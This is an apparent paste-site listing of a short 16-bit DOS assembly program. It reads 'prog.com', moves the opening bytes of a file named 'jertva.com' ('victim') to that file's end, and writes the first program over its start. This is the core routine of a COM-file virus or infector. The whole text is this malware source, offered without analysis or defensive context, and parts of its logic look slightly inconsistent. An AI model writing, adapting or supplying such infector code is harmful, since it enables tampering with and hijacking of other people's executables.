MAIN.ASM 939 B

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970
  1. .model small
  2. .code
  3. .286
  4. jumps
  5. org 100h
  6. start: mov ax, 3d02h
  7. mov dx, offset _pname
  8. int 21h
  9. mov bx, ax
  10. mov ah, 3fh
  11. mov cx, 10000
  12. mov dx, offset buffer1
  13. int 21h
  14. mov _jsize, ax
  15. mov ah, 3eh
  16. Int 21h
  17. mov ax, 3d02h
  18. mov dx, offset _jname
  19. int 21h
  20. mov bx, ax
  21. mov ah, 3fh
  22. mov cx, _jsize
  23. mov dx, offset buffer2
  24. int 21h
  25. mov ax,4202h
  26. mov cx,0
  27. mov dx,0
  28. Int 21h
  29. mov _psize, ax
  30. mov ax, _jsize
  31. mov word ptr [buffer1 + 2], ax
  32. mov ax, _psize
  33. mov word ptr [buffer1 + 4], ax
  34. mov ah, 40h
  35. mov cx, _jsize
  36. mov dx, offset buffer2
  37. int 21h
  38. mov ax,4200h
  39. mov cx,0
  40. mov dx,0
  41. Int 21h
  42. mov ah, 40h
  43. mov cx, _jsize
  44. mov dx, offset buffer1
  45. int 21h
  46. mov ah, 3eh
  47. Int 21h
  48. mov ax, 4ch
  49. int 21h
  50. _jname db 'jertva.com', 0
  51. _pname db 'prog.com', 0
  52. buffer1 db 10000 dup (?)
  53. buffer2 db 10000 dup (?)
  54. _psize dw ?
  55. _jsize dw ?
  56. end start